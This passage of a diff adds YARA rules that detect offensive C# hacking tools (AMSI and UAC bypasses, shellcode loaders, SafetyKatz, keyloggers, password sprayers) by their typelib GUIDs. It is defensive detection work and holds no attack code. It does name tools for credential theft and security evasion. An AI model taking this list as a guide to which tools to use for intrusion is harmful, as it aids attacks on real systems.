+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "3a6cf00e-28c4-5e6f-a28d-b3f28fca6eed"
+    strings:
+        $typelibguid0lo = "a4020626-f1ec-4012-8b17-a2c8a0204a4b" ascii wide
+        $typelibguid0up = "A4020626-F1EC-4012-8B17-A2C8A0204A4B" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_GadgetToJScript {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/med0x2e/GadgetToJScript"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "e296795f-d006-52a9-92c4-fb60c930564b"
+    strings:
+        $typelibguid0lo = "af9c62a1-f8d2-4be0-b019-0a7873e81ea9" ascii wide
+        $typelibguid0up = "AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9" ascii wide
+        $typelibguid1lo = "b2b3adb0-1669-4b94-86cb-6dd682ddbea3" ascii wide
+        $typelibguid1up = "B2B3ADB0-1669-4B94-86CB-6DD682DDBEA3" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_AzureCLI_Extractor {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/0x09AL/AzureCLI-Extractor"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "f595545a-a7a6-577c-b3f4-febf7bf1b6c3"
+    strings:
+        $typelibguid0lo = "a73cad74-f8d6-43e6-9a4c-b87832cdeace" ascii wide
+        $typelibguid0up = "A73CAD74-F8D6-43E6-9A4C-B87832CDEACE" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_UAC_Escaper {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/NYAN-x-CAT/UAC-Escaper"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "ea95ff3c-0cbb-5230-b5e4-bd8b2ff975eb"
+    strings:
+        $typelibguid0lo = "95359279-5cfa-46f6-b400-e80542a7336a" ascii wide
+        $typelibguid0up = "95359279-5CFA-46F6-B400-E80542A7336A" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_HTTPSBeaconShell {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/limbenjamin/HTTPSBeaconShell"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "d66e3566-6082-570a-a168-f44c9d8c7619"
+    strings:
+        $typelibguid0lo = "aca853dc-9e74-4175-8170-e85372d5f2a9" ascii wide
+        $typelibguid0up = "ACA853DC-9E74-4175-8170-E85372D5F2A9" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_AmsiScanBufferBypass {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/rasta-mouse/AmsiScanBufferBypass"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "12a15e61-30fb-50a3-a59b-39f9871444f0"
+    strings:
+        $typelibguid0lo = "431ef2d9-5cca-41d3-87ba-c7f5e4582dd2" ascii wide
+        $typelibguid0up = "431EF2D9-5CCA-41D3-87BA-C7F5E4582DD2" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_ShellcodeLoader {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/Hzllaga/ShellcodeLoader"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "b8787dac-48a3-5711-86ba-0fda86b6224e"
+    strings:
+        $typelibguid0lo = "a48fe0e1-30de-46a6-985a-3f2de3c8ac96" ascii wide
+        $typelibguid0up = "A48FE0E1-30DE-46A6-985A-3F2DE3C8AC96" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_KeystrokeAPI {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/fabriciorissetto/KeystrokeAPI"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "e715bce8-531b-5e2a-bd02-b2fc4990c499"
+    strings:
+        $typelibguid0lo = "f6fec17e-e22d-4149-a8a8-9f64c3c905d3" ascii wide
+        $typelibguid0up = "F6FEC17E-E22D-4149-A8A8-9F64C3C905D3" ascii wide
+        $typelibguid1lo = "b7aa4e23-39a4-49d5-859a-083c789bfea2" ascii wide
+        $typelibguid1up = "B7AA4E23-39A4-49D5-859A-083C789BFEA2" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_ShellCodeRunner {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/antman1p/ShellCodeRunner"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "949364e7-dcb6-5afd-ade9-cc34a6e15e97"
+    strings:
+        $typelibguid0lo = "634874b7-bf85-400c-82f0-7f3b4659549a" ascii wide
+        $typelibguid0up = "634874B7-BF85-400C-82F0-7F3B4659549A" ascii wide
+        $typelibguid1lo = "2f9c3053-077f-45f2-b207-87c3c7b8f054" ascii wide
+        $typelibguid1up = "2F9C3053-077F-45F2-B207-87C3C7B8F054" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_OffensiveCSharp {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/diljith369/OffensiveCSharp"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "339f6858-6076-5320-ba5f-2903e642ea42"
+    strings:
+        $typelibguid0lo = "6c3fbc65-b673-40f0-b1ac-20636df01a85" ascii wide
+        $typelibguid0up = "6C3FBC65-B673-40F0-B1AC-20636DF01A85" ascii wide
+        $typelibguid1lo = "2bad9d69-ada9-4f1e-b838-9567e1503e93" ascii wide
+        $typelibguid1up = "2BAD9D69-ADA9-4F1E-B838-9567E1503E93" ascii wide
+        $typelibguid2lo = "512015de-a70f-4887-8eae-e500fd2898ab" ascii wide
+        $typelibguid2up = "512015DE-A70F-4887-8EAE-E500FD2898AB" ascii wide
+        $typelibguid3lo = "1ee4188c-24ac-4478-b892-36b1029a13b3" ascii wide
+        $typelibguid3up = "1EE4188C-24AC-4478-B892-36B1029A13B3" ascii wide
+        $typelibguid4lo = "5c6b7361-f9ab-41dc-bfa0-ed5d4b0032a8" ascii wide
+        $typelibguid4up = "5C6B7361-F9AB-41DC-BFA0-ED5D4B0032A8" ascii wide
+        $typelibguid5lo = "048a6559-d4d3-4ad8-af0f-b7f72b212e90" ascii wide
+        $typelibguid5up = "048A6559-D4D3-4AD8-AF0F-B7F72B212E90" ascii wide
+        $typelibguid6lo = "3412fbe9-19d3-41d8-9ad2-6461fcb394dc" ascii wide
+        $typelibguid6up = "3412FBE9-19D3-41D8-9AD2-6461FCB394DC" ascii wide
+        $typelibguid7lo = "9ea4e0dc-9723-4d93-85bb-a4fcab0ad210" ascii wide
+        $typelibguid7up = "9EA4E0DC-9723-4D93-85BB-A4FCAB0AD210" ascii wide
+        $typelibguid8lo = "6d2b239c-ba1e-43ec-8334-d67d52b77181" ascii wide
+        $typelibguid8up = "6D2B239C-BA1E-43EC-8334-D67D52B77181" ascii wide
+        $typelibguid9lo = "42e8b9e1-0cf4-46ae-b573-9d0563e41238" ascii wide
+        $typelibguid9up = "42E8B9E1-0CF4-46AE-B573-9D0563E41238" ascii wide
+        $typelibguid10lo = "0d15e0e3-bcfd-4a85-adcd-0e751dab4dd6" ascii wide
+        $typelibguid10up = "0D15E0E3-BCFD-4A85-ADCD-0E751DAB4DD6" ascii wide
+        $typelibguid11lo = "644dfd1a-fda5-4948-83c2-8d3b5eda143a" ascii wide
+        $typelibguid11up = "644DFD1A-FDA5-4948-83C2-8D3B5EDA143A" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SHAPESHIFTER {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/matterpreter/SHAPESHIFTER"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "8903c65a-624f-5e8d-a3f6-4572b56bd2f7"
+    strings:
+        $typelibguid0lo = "a3ddfcaa-66e7-44fd-ad48-9d80d1651228" ascii wide
+        $typelibguid0up = "A3DDFCAA-66E7-44FD-AD48-9D80D1651228" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Evasor {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/cyberark/Evasor"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "457959ed-3e90-52c7-89f9-e1b17b35260e"
+    strings:
+        $typelibguid0lo = "1c8849ef-ad09-4727-bf81-1f777bd1aef8" ascii wide
+        $typelibguid0up = "1C8849EF-AD09-4727-BF81-1F777BD1AEF8" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Stracciatella {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/mgeeky/Stracciatella"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "5b1a8102-6d59-5f2f-8ae2-b3c1f75a561d"
+    strings:
+        $typelibguid0lo = "eaafa0ac-e464-4fc4-9713-48aa9a6716fb" ascii wide
+        $typelibguid0up = "EAAFA0AC-E464-4FC4-9713-48AA9A6716FB" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_logger {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/xxczaki/logger"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "82937fef-8280-5bc6-af4a-55c5cb3a7553"
+    strings:
+        $typelibguid0lo = "9e92a883-3c8b-4572-a73e-bb3e61cfdc16" ascii wide
+        $typelibguid0up = "9E92A883-3C8B-4572-A73E-BB3E61CFDC16" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Internal_Monologue {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/eladshamir/Internal-Monologue"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "ce2773a2-b0b7-560e-ba21-3f018ddcacb3"
+    strings:
+        $typelibguid0lo = "0c0333db-8f00-4b68-b1db-18a9cacc1486" ascii wide
+        $typelibguid0up = "0C0333DB-8F00-4B68-B1DB-18A9CACC1486" ascii wide
+        $typelibguid1lo = "84701ace-c584-4886-a3cf-76c57f6e801a" ascii wide
+        $typelibguid1up = "84701ACE-C584-4886-A3CF-76C57F6E801A" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_GRAT2 {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/r3nhat/GRAT2"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "e731d563-0d16-5f84-8127-624a71f8b646"
+    strings:
+        $typelibguid0lo = "5e7fce78-1977-444f-a18e-987d708a2cff" ascii wide
+        $typelibguid0up = "5E7FCE78-1977-444F-A18E-987D708A2CFF" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_PowerShdll {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/p3nt4/PowerShdll"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "3f582a47-078e-525f-9d02-4ee7a455a3b2"
+    strings:
+        $typelibguid0lo = "36ebf9aa-2f37-4f1d-a2f1-f2a45deeaf21" ascii wide
+        $typelibguid0up = "36EBF9AA-2F37-4F1D-A2F1-F2A45DEEAF21" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_CsharpAmsiBypass {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/WayneJLee/CsharpAmsiBypass"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "ca97004e-edc1-5b5a-ac67-e81ae24631aa"
+    strings:
+        $typelibguid0lo = "4ab3b95d-373c-4197-8ee3-fe0fa66ca122" ascii wide
+        $typelibguid0up = "4AB3B95D-373C-4197-8EE3-FE0FA66CA122" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_HastySeries {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/obscuritylabs/HastySeries"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "0d35acf4-c763-593c-94e2-c499d3826375"
+    strings:
+        $typelibguid0lo = "8435531d-675c-4270-85bf-60db7653bcf6" ascii wide
+        $typelibguid0up = "8435531D-675C-4270-85BF-60DB7653BCF6" ascii wide
+        $typelibguid1lo = "47db989f-7e33-4e6b-a4a5-c392b429264b" ascii wide
+        $typelibguid1up = "47DB989F-7E33-4E6B-A4A5-C392B429264B" ascii wide
+        $typelibguid2lo = "300c7489-a05f-4035-8826-261fa449dd96" ascii wide
+        $typelibguid2up = "300C7489-A05F-4035-8826-261FA449DD96" ascii wide
+        $typelibguid3lo = "41bf8781-ae04-4d80-b38d-707584bf796b" ascii wide
+        $typelibguid3up = "41BF8781-AE04-4D80-B38D-707584BF796B" ascii wide
+        $typelibguid4lo = "620ed459-18de-4359-bfb0-6d0c4841b6f6" ascii wide
+        $typelibguid4up = "620ED459-18DE-4359-BFB0-6D0C4841B6F6" ascii wide
+        $typelibguid5lo = "91e7cdfe-0945-45a7-9eaa-0933afe381f2" ascii wide
+        $typelibguid5up = "91E7CDFE-0945-45A7-9EAA-0933AFE381F2" ascii wide
+        $typelibguid6lo = "c28e121a-60ca-4c21-af4b-93eb237b882f" ascii wide
+        $typelibguid6up = "C28E121A-60CA-4C21-AF4B-93EB237B882F" ascii wide
+        $typelibguid7lo = "698fac7a-bff1-4c24-b2c3-173a6aae15bf" ascii wide
+        $typelibguid7up = "698FAC7A-BFF1-4C24-B2C3-173A6AAE15BF" ascii wide
+        $typelibguid8lo = "63a40d94-5318-42ad-a573-e3a1c1284c57" ascii wide
+        $typelibguid8up = "63A40D94-5318-42AD-A573-E3A1C1284C57" ascii wide
+        $typelibguid9lo = "56b8311b-04b8-4e57-bb58-d62adc0d2e68" ascii wide
+        $typelibguid9up = "56B8311B-04B8-4E57-BB58-D62ADC0D2E68" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_DreamProtectorFree {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/Paskowsky/DreamProtectorFree"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "9ebee989-3441-5a76-b243-08de978b541c"
+    strings:
+        $typelibguid0lo = "f7e8a902-2378-426a-bfa5-6b14c4b40aa3" ascii wide
+        $typelibguid0up = "F7E8A902-2378-426A-BFA5-6B14C4B40AA3" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_RedSharp {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/padovah4ck/RedSharp"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "2aa62d61-075c-5664-a7fc-2b9d84b954ed"
+    strings:
+        $typelibguid0lo = "30b2e0cf-34dd-4614-a5ca-6578fb684aea" ascii wide
+        $typelibguid0up = "30B2E0CF-34DD-4614-A5CA-6578FB684AEA" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_ESC {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/NetSPI/ESC"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "a57c47e8-62bf-5425-9735-35a3e3a0c218"
+    strings:
+        $typelibguid0lo = "06260ce5-61f4-4b81-ad83-7d01c3b37921" ascii wide
+        $typelibguid0up = "06260CE5-61F4-4B81-AD83-7D01C3B37921" ascii wide
+        $typelibguid1lo = "87fc7ede-4dae-4f00-ac77-9c40803e8248" ascii wide
+        $typelibguid1up = "87FC7EDE-4DAE-4F00-AC77-9C40803E8248" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Csharp_Loader {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/NYAN-x-CAT/Csharp-Loader"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "bf0c3d93-cbea-54c7-b950-fd4e5a600d07"
+    strings:
+        $typelibguid0lo = "5fd7f9fc-0618-4dde-a6a0-9faefe96c8a1" ascii wide
+        $typelibguid0up = "5FD7F9FC-0618-4DDE-A6A0-9FAEFE96C8A1" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_bantam {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/gellin/bantam"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "0ed3f5e5-d954-51e2-b7fb-4c25ca3d9f10"
+    strings:
+        $typelibguid0lo = "14c79bda-2ce6-424d-bd49-4f8d68630b7b" ascii wide
+        $typelibguid0up = "14C79BDA-2CE6-424D-BD49-4F8D68630B7B" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpTask {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/jnqpblc/SharpTask"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "2cdd1a15-c70c-5eea-b5a7-8b4a445b9323"
+    strings:
+        $typelibguid0lo = "13e90a4d-bf7a-4d5a-9979-8b113e3166be" ascii wide
+        $typelibguid0up = "13E90A4D-BF7A-4D5A-9979-8B113E3166BE" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_WindowsPlague {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/RITRedteam/WindowsPlague"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "89729c43-ae01-5c1f-af04-06d7a6c4e7fc"
+    strings:
+        $typelibguid0lo = "cdf8b024-70c9-413a-ade3-846a43845e99" ascii wide
+        $typelibguid0up = "CDF8B024-70C9-413A-ADE3-846A43845E99" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Misc_CSharp {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/jnqpblc/Misc-CSharp"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "d25fa706-2254-5a82-a961-f57a0daa447c"
+    strings:
+        $typelibguid0lo = "d1421ba3-c60b-42a0-98f9-92ba4e653f3d" ascii wide
+        $typelibguid0up = "D1421BA3-C60B-42A0-98F9-92BA4E653F3D" ascii wide
+        $typelibguid1lo = "2afac0dd-f46f-4f95-8a93-dc17b4f9a3a1" ascii wide
+        $typelibguid1up = "2AFAC0DD-F46F-4F95-8A93-DC17B4F9A3A1" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpSpray {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/jnqpblc/SharpSpray"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "e9312c96-be10-5942-a4da-1fe708cc6699"
+    strings:
+        $typelibguid0lo = "51c6e016-1428-441d-82e9-bb0eb599bbc8" ascii wide
+        $typelibguid0up = "51C6E016-1428-441D-82E9-BB0EB599BBC8" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Obfuscator {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/3xpl01tc0d3r/Obfuscator"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "d9988b00-1f10-5421-8ffe-49849a5d5902"
+    strings:
+        $typelibguid0lo = "8fe5b811-a2cb-417f-af93-6a3cf6650af1" ascii wide
+        $typelibguid0up = "8FE5B811-A2CB-417F-AF93-6A3CF6650AF1" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SafetyKatz {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/GhostPack/SafetyKatz"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "5f6d7432-0bb5-5782-98ec-2c2168f2fc1f"
+    strings:
+        $typelibguid0lo = "8347e81b-89fc-42a9-b22c-f59a6a572dec" ascii wide
+        $typelibguid0up = "8347E81B-89FC-42A9-B22C-F59A6A572DEC" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Dropless_Malware {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/NYAN-x-CAT/Dropless-Malware"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "0da3b6d8-2002-590e-a8d5-f6c84acfb083"
+    strings:
+        $typelibguid0lo = "23b739f7-2355-491e-a7cd-a8485d39d6d6" ascii wide
+        $typelibguid0up = "23B739F7-2355-491E-A7CD-A8485D39D6D6" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_UAC_SilentClean {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/EncodeGroup/UAC-SilentClean"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "2dde9632-10c5-5c91-8bd9-2fb80d6f0c49"
+    strings:
+        $typelibguid0lo = "948152a4-a4a1-4260-a224-204255bfee72" ascii wide
+        $typelibguid0up = "948152A4-A4A1-4260-A224-204255BFEE72" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_DesktopGrabber {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/NYAN-x-CAT/DesktopGrabber"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "7db07291-d6d4-5527-a879-27f899dbd6fe"
+    strings:
+        $typelibguid0lo = "e6aa0cd5-9537-47a0-8c85-1fbe284a4380" ascii wide
+        $typelibguid0up = "E6AA0CD5-9537-47A0-8C85-1FBE284A4380" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_wsManager {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/guillaC/wsManager"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "b8c330dc-74aa-5a33-8af6-17c9beb8be81"
+    strings:
+        $typelibguid0lo = "9480809e-5472-44f3-b076-dcdf7379e766" ascii wide
+        $typelibguid0up = "9480809E-5472-44F3-B076-DCDF7379E766" ascii wide
+    condition:
